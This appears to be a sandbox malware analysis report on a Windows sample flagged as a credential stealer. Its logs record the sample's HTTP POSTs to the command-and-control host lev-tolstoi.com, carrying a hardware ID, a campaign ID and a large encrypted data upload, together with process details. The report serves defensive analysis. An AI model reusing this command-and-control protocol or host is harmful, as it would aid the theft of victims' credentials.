2024-12-26 12:23:01 UTC	1121	IN	HTTP/1.1 200 OK Date: Thu, 26 Dec 2024 12:23:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=rgdhdd8s470rrukenogdduktp8; expires=Mon, 21 Apr 2025 06:09:40 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=DjFIryJNUB7cbERQxXuQ8sfwxItVUHBjGD9WLqw9Z03Me0N9EZIBYulDN1PL72is28BzWIJQO6y6IC0ZCpMl8UDd2JO6xHO9XO4LL30KWl1YlnQl84LgtXgwBhTSl3e0rP0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f810a25be760fa1-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1544&min_rtt=1503&rtt_var=593&sent=11&recv=25&lost=0&retrans=0&sent_bytes=2834&recv_bytes=21188&delivery_rate=1942781&cwnd=252&unsent_bytes=0&cid=df62c84b096263ab&ts=983&x=0"
2024-12-26 12:23:01 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-26 12:23:01 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.8	49713	172.67.157.254	443	7548	C:\Users\user\Desktop\pVbAZEFIpI.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-26 12:23:04 UTC	274	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=K6HAFMYBM2BV User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1202 Host: lev-tolstoi.com
2024-12-26 12:23:04 UTC	1202	OUT	Data Raw: 2d 2d 4b 36 48 41 46 4d 59 42 4d 32 42 56 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 31 39 38 32 31 37 32 38 30 42 38 41 38 34 41 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 4b 36 48 41 46 4d 59 42 4d 32 42 56 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 4b 36 48 41 46 4d 59 42 4d 32 42 56 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 4b 36 48 41 46 4d 59 42 Data Ascii: --K6HAFMYBM2BVContent-Disposition: form-data; name="hwid"8198217280B8A84ABEBA0C6A975F1733--K6HAFMYBM2BVContent-Disposition: form-data; name="pid"1--K6HAFMYBM2BVContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--K6HAFMYB
2024-12-26 12:23:04 UTC	1124	IN	HTTP/1.1 200 OK Date: Thu, 26 Dec 2024 12:23:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=6a653i6bmcpr4hd7jg612ovror; expires=Mon, 21 Apr 2025 06:09:43 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=xKcwlxke5ar7BqVA6Qgq5eLws273%2Bj2HkowGPNx5TOCJ6QhCc4w7ew9IyaLbMmtfs2tkpllrGitTe%2BfdmOXRunr4pBbzpDa1LMX0YbW3rNK1tbyooghCp%2BBvcngdQKA8kzE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f810a3b3c84c40c-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1477&min_rtt=1468&rtt_var=569&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2835&recv_bytes=2112&delivery_rate=1893644&cwnd=221&unsent_bytes=0&cid=e264011ea6e6be23&ts=779&x=0"
2024-12-26 12:23:04 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-26 12:23:04 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.8	49714	172.67.157.254	443	7548	C:\Users\user\Desktop\pVbAZEFIpI.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-26 12:23:06 UTC	277	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=TJWLFGPT564E0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 551870 Host: lev-tolstoi.com
2024-12-26 12:23:06 UTC	15331	OUT	Data Raw: 2d 2d 54 4a 57 4c 46 47 50 54 35 36 34 45 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 31 39 38 32 31 37 32 38 30 42 38 41 38 34 41 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 54 4a 57 4c 46 47 50 54 35 36 34 45 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 54 4a 57 4c 46 47 50 54 35 36 34 45 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 54 4a 57 4c 46 Data Ascii: --TJWLFGPT564E0Content-Disposition: form-data; name="hwid"8198217280B8A84ABEBA0C6A975F1733--TJWLFGPT564E0Content-Disposition: form-data; name="pid"1--TJWLFGPT564E0Content-Disposition: form-data; name="lid"LOGS11--LiveTraffic--TJWLF
2024-12-26 12:23:06 UTC	15331	OUT	Data Raw: 86 8d 91 8f db 07 24 d3 7e 55 ba 0d 57 0a 7e 7a 8b 8c 70 d9 10 31 81 fb 69 76 2e c7 33 ea 4f 56 ac f9 fe d8 54 e9 06 cb 39 9d 66 8a 5f 52 d8 a5 5f bc 4d aa ad 12 da 0b e0 c6 44 6f c2 94 81 94 e0 d5 a8 e6 6a 4d c4 4c 61 23 b4 79 09 cc 22 b7 46 a3 88 9d ad 0d c2 ea 27 5d 92 32 8b a6 fd b2 46 7d 29 75 0f 57 4e 7e 3e 01 92 d3 c3 b8 d4 e7 a0 ef 59 91 6e 83 8c 7b 60 81 ab 3e 56 8d 3e 2b 09 be b3 4b 39 ff ce b1 d6 ad f4 c0 2b de 25 bd 32 f0 9a 7f 53 b1 11 96 3f cd b7 a9 29 8f ee d2 82 6b 03 f6 45 43 0c 34 6b 26 a9 56 67 84 90 6f 07 36 7f a3 4c 49 e0 d9 fc 85 0b ec e7 63 9d 13 06 9a df 94 eb d9 a8 c6 ed 88 f9 9f 65 53 5e 2a 29 a5 b4 ca cf 96 ed 60 29 b4 bb ff dd 71 46 12 fa ca 7d 8e b3 de db a1 d7 52 0b 83 05 c5 ff 77 fb e4 c2 15 e6 c4 61 65 29 13 90 9c b2 be c2 Data Ascii: $~UW~zp1iv.3OVT9f_R_MDojMLa#y"F']2F})uWN~>Yn{`>V>+K9+%2S?)kEC4k&Vgo6LIceS^*)`)qF}Rwae)
2024-12-26 12:23:06 UTC	15331	OUT	Data Raw: c7 aa 8e d0 8a 0d 67 4b 86 06 b5 be f0 3c a9 40 1c 08 89 99 fe fe 35 cb 03 38 14 d8 47 44 f4 11 cf 1a 4b 78 08 34 a5 50 31 0f b7 83 83 04 17 c6 98 1f e7 c2 3e c9 f1 6c bb e5 7e b3 d3 86 46 c4 5e 39 10 0a b1 92 ca 6f 2c b4 0d 19 2f 62 89 8a c1 31 1a ad 7b 64 2e 01 8b 37 3b be f3 87 a7 f5 bb 3f 18 b7 d7 6e 18 4d 17 77 db 3e b7 f5 f8 aa 31 5d cb 6a a9 7d e3 33 a4 a1 42 23 63 e1 ee 41 96 ca 34 23 af 4a bb 9a 5e 1f fd 3d 2f 68 de 79 fa a9 63 da d3 e0 11 69 f1 37 56 b6 be 56 db b5 36 5b d7 11 94 51 5a e3 27 71 c7 7d 6f 62 48 ed 71 60 66 40 31 c2 0d c3 80 b8 76 a2 54 f7 b9 3e 7b f3 b5 24 6b 15 2c e9 e2 16 86 6e a3 c1 b0 24 00 81 01 ff 02 9a e0 64 9a 86 3d 58 6a 68 51 71 d5 06 bf 2a 7f af 2f 41 e4 1e 4c 45 52 58 07 d0 c3 2d 70 15 b8 fd 8b a6 7d 13 a1 22 31 46 03 Data Ascii: gK<@58GDKx4P1>l~F^9o,/b1{d.7;?nMw>1]j}3B#cA4#J^=/hyci7VV6[QZ'q}obHq`f@1vT>{$k,n$d=XjhQq*/ALERX-p}"1F
2024-12-26 12:23:06 UTC	15331	OUT	Data Raw: 7f eb 5e 16 e2 50 24 b2 e7 92 e2 b0 fa 37 40 d8 4b b4 c4 bc c4 12 bf 4c ca 2d 70 83 33 3f a1 25 af 5d 42 71 e5 dc d0 0e 11 d6 8f a0 36 18 e9 89 01 ca 7d 27 e6 a6 8a 2c f5 e6 92 8a 56 91 e8 1c bf fc 32 9c 64 68 b0 f0 0d ef 56 2a 40 db 87 b1 ee ff 8e 8a 71 e6 65 4e 6d 64 1e ce 7f bd de dd 0a 5c 3c df 4a 80 f0 a2 53 e1 4b ed 79 bf 32 ee dd 68 63 db 76 0a d8 f6 7b b2 65 7b 52 84 8c 93 8d a6 22 9d 0d 49 32 59 f2 45 25 80 55 16 79 d1 17 b7 69 24 b4 30 5d be a0 28 71 4a c6 c2 26 c4 93 e7 50 4e cb 04 c8 c5 e7 c7 23 f8 8d 63 49 b3 db a7 df ec e3 d4 a2 4a db 3d c1 33 da d7 c6 ec dc a0 c4 6e 1f 02 37 9e ab ca 84 2b 8d d0 cf ea 6b a2 b2 16 8b 0f d1 ca 25 58 8a 22 7b d6 1a 1e 11 2f 4c 72 df 69 4d ba 6b 10 24 df b6 d5 db b7 ad f3 b7 51 a8 fb 59 6f 8b 29 03 62 48 fa 19 Data Ascii: ^P$7@KL-p3?%]Bq6}',V2dhV*@qeNmd\<JSKy2hcv{e{R"I2YE%Uyi$0](qJ&PN#cIJ=3n7+k%X"{/LriMk$QYo)bH
2024-12-26 12:23:06 UTC	15331	OUT	Data Raw: 0e 82 b6 ea 49 1f be 39 40 68 08 0b ad e1 37 00 9b 98 db 99 10 4c 7f bf 83 ed 6d 45 1b 4a f6 c6 ff e8 9d e8 da 4e 3d 23 17 3f cd bd a8 bc 86 e9 31 ad 11 03 12 d5 a4 16 9e a2 82 56 3d 1e 75 f0 d2 2b 9a 92 b0 60 09 11 eb 3e c3 5d 82 16 20 76 1e 18 ec 9c 3b b1 97 98 55 cb 7e 8d be c7 33 d6 fe d8 75 b4 3a 32 92 8f ed 71 27 36 1e 15 f3 a2 ea 76 a5 5b 34 e5 41 84 55 be ef d6 62 5c ea 56 f6 32 c7 64 e8 83 60 35 06 9e 2a e1 d7 9d d4 c3 c2 be bf bd ff a9 76 4a 93 6d ab 8f e6 dd 76 d6 83 f2 33 5a cd ee 99 fe 08 cc af a7 fe 19 67 e1 14 ed fe 38 c0 07 7e 3c 97 08 71 eb b0 19 a4 79 02 4d 0c e3 96 3c ed 0c f8 df 62 11 cb 79 7c fc 7e 82 3f c8 59 50 2f 37 fa 0c da 38 07 8a 77 e3 0e bd d5 30 4c 56 f1 c3 ff d8 c8 fe bd b3 4f c7 5e 47 df 7a 02 b7 d4 5b 1f 82 3c e8 7b 34 a7 Data Ascii: I9@h7LmEJN=#?1V=u+`>] v;U~3u:2q'6v[4AUb\V2d`5*vJmv3Zg8~<qyM<by\|~?YP/78w0LVO^Gz[<{4
2024-12-26 12:23:06 UTC	15331	OUT	Data Raw: 74 b6 42 18 60 b0 72 49 14 6d b4 f4 a3 09 05 f3 03 20 ac f8 df 61 76 cd 1f 04 3b c4 57 29 31 b3 e7 48 58 f8 f9 a7 f9 7b 46 65 cc 73 dc d4 21 83 8a c1 5a 12 8a ee 9e ff 0e 30 34 21 0a 0f a7 37 88 76 fe 0f 9b 4c 27 17 f1 bc eb d1 34 70 df 70 de ab 83 f6 19 a4 45 59 7b 99 9f 75 2a 28 fc cd 83 01 5f 56 53 1f dc 03 eb fc 10 cb 0f 2f ba 7d d7 e5 12 12 37 7b fe 37 bd fb 02 48 14 aa 70 ec 9c 16 a0 ff 87 82 5f c1 5e 78 50 20 c0 77 95 c8 48 04 14 92 16 3a 06 0b c4 51 42 ee 7b 28 47 09 84 67 6a a0 e7 0e 1a d1 b0 6a 28 38 b5 04 4a 70 58 0a 3f 53 b5 3d 39 4e 14 35 de 0c ce 12 dc 5a 55 66 4c e5 92 1f 30 da 9e 99 05 75 fe ee fe 87 bf 40 1c ca 68 59 43 ec ea 85 56 33 5a aa a9 66 54 50 1c a7 0f ef a5 c2 93 3b 5d 68 c4 7d 14 11 1c b7 b5 af a7 70 ae 8a a0 52 27 7d 8c ba 21 Data Ascii: tB`rIm av;W)1HX{Fes!Z04!7vL'4ppEY{u*(_VS/}7{7Hp_^xP wH:QB{(Ggjj(8JpX?S=9N5ZUfL0u@hYCV3ZfTP;]h}pR'}!
2024-12-26 12:23:06 UTC	15331	OUT	Data Raw: 1a 63 3d 59 59 ad 25 d0 19 7b 61 5e 57 de 4d 31 c2 55 fb 18 c4 05 91 80 09 a8 b7 df 5b b5 f9 f7 cb 9d bc 54 f7 ce 10 d3 51 fa e1 9e 5c 76 a2 c6 18 c7 e5 65 12 c1 fa 1e 79 46 df 17 7f fd ac 14 3d d1 0b d9 25 9f 58 7c 93 3f 27 f3 fd 30 fb 4a 5d 06 6c be 1b e5 22 7c 13 25 0e de 06 27 2e a3 2f 1c 78 51 90 08 13 c8 d6 db 77 81 e1 20 25 66 b6 37 a5 dc 2c 46 d1 81 da 25 e2 e6 f2 d5 6b 69 e3 52 c2 e1 91 13 a5 e6 eb 8a f3 ef 4d 0b 5c 41 e0 7c c5 ba 1e 60 ae 75 c9 b7 73 7d d6 de bf b9 e1 bd f9 db f0 79 8a 57 95 cf 44 8b 1b 97 b3 d5 ae 41 5d bc f7 17 96 4a 62 ef e5 9a af 54 0a a7 88 77 56 95 aa bd a5 6e dd cc da 3c 37 fd 62 f3 fd 22 d7 eb 62 59 c5 74 ec 7c 01 94 91 b6 75 94 ba 7c 7b e5 c7 f2 a7 3d 0b ad 10 7d 3a 6b 73 a9 42 1c ec 02 5f 3e 6c 8f 58 47 aa 7d af 68 ca Data Ascii: c=YY%{a^WM1U[TQ\veyF=%X\|?'0J]l"\|%'./xQw %f7,F%kiRM\A\|`us}yWDA]JbTwVn<7b"bYt\|u\|{=}:ksB_>lXG}h
2024-12-26 12:23:06 UTC	15331	OUT	Data Raw: c5 b3 2d 57 fa 0f c4 1b 05 82 ed 8f 63 08 e7 dd 2a 46 ce ef 18 4c 25 70 0e 6a 88 be 01 76 e7 11 d9 71 10 3a 1e f6 91 4a 31 ce e7 b3 2a 9b bf 51 7e d5 0d e5 ea 55 e5 b4 0f 4f 62 29 e3 ed ca b3 7c c6 03 db 21 c5 1e f6 a0 fe 7c 26 d9 78 49 c9 93 fc de 97 13 fa 22 ca ef 1a 17 fb 6d a3 fc ca 17 e3 8b 9f 4d 43 ad 2a 8a 1e 4d 5b 31 73 7f 92 f7 cb 25 6d c8 9d ad c5 2c db b3 f5 e6 46 64 0d e6 83 7d bb f9 3a 63 4a 74 91 e2 db 8b 6e e6 54 43 9c 00 5b 46 b4 47 86 4e 07 91 63 2b 62 fa ad b7 ab 74 99 07 0e 46 4f 23 7f f0 a8 46 56 da 91 04 7f 34 a1 59 f9 80 15 d9 15 d2 47 b5 e0 fa ac f2 72 7f 2a d5 c9 4e 21 c8 cf 44 98 7d 3c 75 1d 84 cf 15 ab 4f a2 79 9a 75 86 d2 29 93 f6 af eb de d8 59 0e 46 3c 4d 18 96 2b 9c 41 16 fc 0a 8e a8 48 7e ae 1c 47 d0 46 d6 59 2e 69 65 67 ed Data Ascii: -WcFL%pjvq:J1Q~UOb)\|!\|&xI"mMCM[1s%m,Fd}:cJtnTC[FGNc+btFO#FV4YGrN!D}<uOyu)YF<M+AH~GFY.ieg
2024-12-26 12:23:06 UTC	15331	OUT	Data Raw: 41 32 23 46 11 49 85 4c 03 d1 b7 db b1 1f 7a cf ab 08 86 bb d9 fc 24 2d 0c c3 bc c8 34 8c 41 ca 81 63 62 94 a5 bf fc be 5c 13 9c d8 a1 ec ee 9a 86 52 f3 47 9d 22 d5 bf 25 dd 12 cd 1d 84 6d f1 6d 92 74 db 9b e6 a7 e1 8a 92 20 20 0c 17 6b b6 87 44 5a 09 78 23 ad 5a 8f 5c 99 da 44 31 c7 35 98 57 75 e8 91 52 54 ad c6 58 cc fc f4 a9 cc ce ab a2 35 b6 90 3e 9d eb b3 8d 8d 73 17 ee 9d 63 fd 11 5d 3e 16 b2 fd 07 6a 19 a5 f0 43 ae fd b7 20 c0 5b 65 9b 53 8d 54 53 be 3e 49 b9 7a aa 85 cb 33 3d 78 6d 74 06 d5 12 a3 df 6b ab 5a db a3 98 07 97 ec 55 3c 41 40 d6 e7 84 7e 05 9e 50 9c da 4e 68 cd 51 ae 53 ca bc d2 1e 18 6d 9e c8 b2 ed a5 8b f4 b2 8f 5c df b8 4c 28 36 f5 b2 28 ce 90 cd f3 7c d5 13 73 b3 a3 c1 d8 10 f3 4b 83 9a a1 9a 17 f6 dc 3c a5 fe 97 55 36 0c ff 9f 2b Data Ascii: A2#FILz$-4Acb\RG"%mmt kDZx#Z\D15WuRTX5>sc]>jC [eSTS>Iz3=xmtkZU<A@~PNhQSm\L(6(\|sK<U6+
2024-12-26 12:23:06 UTC	15331	OUT	Data Raw: d6 0a 1a ec f8 41 4a 77 07 d6 6c 2b ae e7 fd 74 55 6b 20 d3 ed 4e b8 b2 28 d4 a7 5f 7c d1 ab 83 75 96 b8 f9 e0 a7 0e 6a 54 c8 f2 ba 35 1d b7 7b 60 26 fe c1 da c6 b6 03 27 b8 73 93 26 42 e1 35 30 e0 13 f0 fd e4 d1 30 12 72 f5 83 c6 0f e7 bd d2 6c 79 e0 6e bb 1f c1 3c 6a 63 79 81 00 d2 f3 b6 23 81 cd ed 6a 45 34 28 d3 5c bd e8 df 14 4d 99 45 a7 e3 c1 3b a8 c8 9e e5 39 29 74 f2 0b fa 44 5f af 08 fe 45 7f 0c ac 72 63 21 07 51 d6 89 d8 8a ed 25 9b 53 6b 5d 58 56 b1 2f c8 ae 42 bd 82 72 90 d4 fc 95 97 b7 76 5b 84 97 d3 f9 66 10 43 0a d4 ff f1 54 c9 2e c3 aa b3 3c ba 1d a3 60 d3 d6 fe 98 5b 34 75 ae 41 11 1f e7 f4 26 c1 5f 56 2e 6c cf fb 76 0b 13 02 10 58 c3 ff c6 f3 d5 e6 a7 0d 61 19 2e f8 ec b1 ed f3 bf 37 12 37 ae 4d ed 88 94 26 bb a7 a1 ac 13 b2 47 9e c6 c0 Data Ascii: AJwl+tUk N(_\|ujT5{`&'s&B500rlyn<jcy#jE4(\ME;9)tD_Erc!Q%Sk]XV/Brv[fCT.<`[4uA&_V.lvXa.77M&G
2024-12-26 12:23:10 UTC	1127	IN	HTTP/1.1 200 OK Date: Thu, 26 Dec 2024 12:23:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=cdbhv9ar06etumtrqn2ml9aajm; expires=Mon, 21 Apr 2025 06:09:47 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=CgubAGD00WuqV6LA5r3S8Y1Cm%2BVddY9ItASyyxpVwNgATBQH71Fjz55Xlm80nR1YK9kCavO6NAMXoymWMj9WGwQ6vpwbKdb8q44oyMS3OYluVcvbot7hqIywK4QnbgBNoAc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f810a4a9d367286-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1919&min_rtt=1914&rtt_var=728&sent=339&recv=573&lost=0&retrans=0&sent_bytes=2835&recv_bytes=554345&delivery_rate=1492079&cwnd=241&unsent_bytes=0&cid=48b1ec62a886ea88&ts=3811&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.8	49715	172.67.157.254	443	7548	C:\Users\user\Desktop\pVbAZEFIpI.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-26 12:23:11 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 88 Host: lev-tolstoi.com
2024-12-26 12:23:11 UTC	88	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d 26 68 77 69 64 3d 38 31 39 38 32 31 37 32 38 30 42 38 41 38 34 41 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 Data Ascii: act=get_message&ver=4.0&lid=LOGS11--LiveTraffic&j=&hwid=8198217280B8A84ABEBA0C6A975F1733
2024-12-26 12:23:12 UTC	1121	IN	HTTP/1.1 200 OK Date: Thu, 26 Dec 2024 12:23:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=racped7drfkhh7dppr1crulhad; expires=Mon, 21 Apr 2025 06:09:51 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Iguiy0WeRbkAc1nRB5ht0VrbrnveD4di9toS%2FrHNf9u9diXD2vL9Vl0x%2BhYI0Vvl4XOzrt2BUDSFQmMY6Q9iV7GWWB59KgFMIosDzmjbSslYt2yoMtnK3zz8AdUvgYzXjAs%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f810a6b78fc41d5-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1674&min_rtt=1674&rtt_var=629&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2834&recv_bytes=987&delivery_rate=1739130&cwnd=226&unsent_bytes=0&cid=748a52ec993d7b05&ts=800&x=0"
2024-12-26 12:23:12 UTC	210	IN	Data Raw: 63 63 0d 0a 2b 4e 6a 55 44 50 2f 30 51 7a 59 62 2f 64 73 66 79 62 69 45 4f 76 59 6b 4a 4b 79 6d 44 55 79 65 4f 79 63 6d 46 4f 4e 68 79 43 75 6a 6f 2f 5a 35 33 63 35 68 58 6d 2b 4a 71 79 57 56 6c 39 67 56 78 78 77 52 67 70 51 38 65 62 41 4b 46 68 55 36 30 6c 65 55 42 4a 65 2b 73 6c 44 51 6b 43 5a 51 4e 5a 69 6a 65 75 75 55 70 6c 79 43 42 68 36 63 69 69 38 70 76 41 45 57 57 7a 69 59 51 37 30 4a 77 76 71 38 65 49 75 45 65 57 6f 30 6f 66 51 75 38 59 32 71 43 4d 63 52 43 70 32 58 50 6d 4b 76 44 58 73 4a 65 34 55 48 6c 41 53 63 76 62 49 69 6d 6f 77 6d 46 44 66 66 76 57 76 72 67 72 51 57 31 45 45 47 6c 70 5a 77 45 51 3d 3d 0d 0a Data Ascii: cc+NjUDP/0QzYb/dsfybiEOvYkJKymDUyeOycmFONhyCujo/Z53c5hXm+JqyWVl9gVxxwRgpQ8ebAKFhU60leUBJe+slDQkCZQNZijeuuUplyCBh6cii8pvAEWWziYQ70Jwvq8eIuEeWo0ofQu8Y2qCMcRCp2XPmKvDXsJe4UHlAScvbIimowmFDffvWvrgrQW1EEGlpZwEQ==
2024-12-26 12:23:12 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	07:22:41
Start date:	26/12/2024
Path:	C:\Users\user\Desktop\pVbAZEFIpI.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\pVbAZEFIpI.exe"
Imagebase:	0x440000
File size:	2'972'160 bytes
MD5 hash:	6CCC7DBF4F2BEE3325AB58592BC9390D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1621052986.00000000010AB000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1620800533.00000000010A7000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1610484223.0000000001053000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	07:23:22
Start date:	26/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=pVbAZEFIpI.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Imagebase:	0x7ff678760000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	07:23:23
Start date:	26/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2192 --field-trial-handle=1924,i,12059119630941512430,12876851585135929176,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff678760000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	07:23:24
Start date:	26/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=pVbAZEFIpI.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Imagebase:	0x7ff678760000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
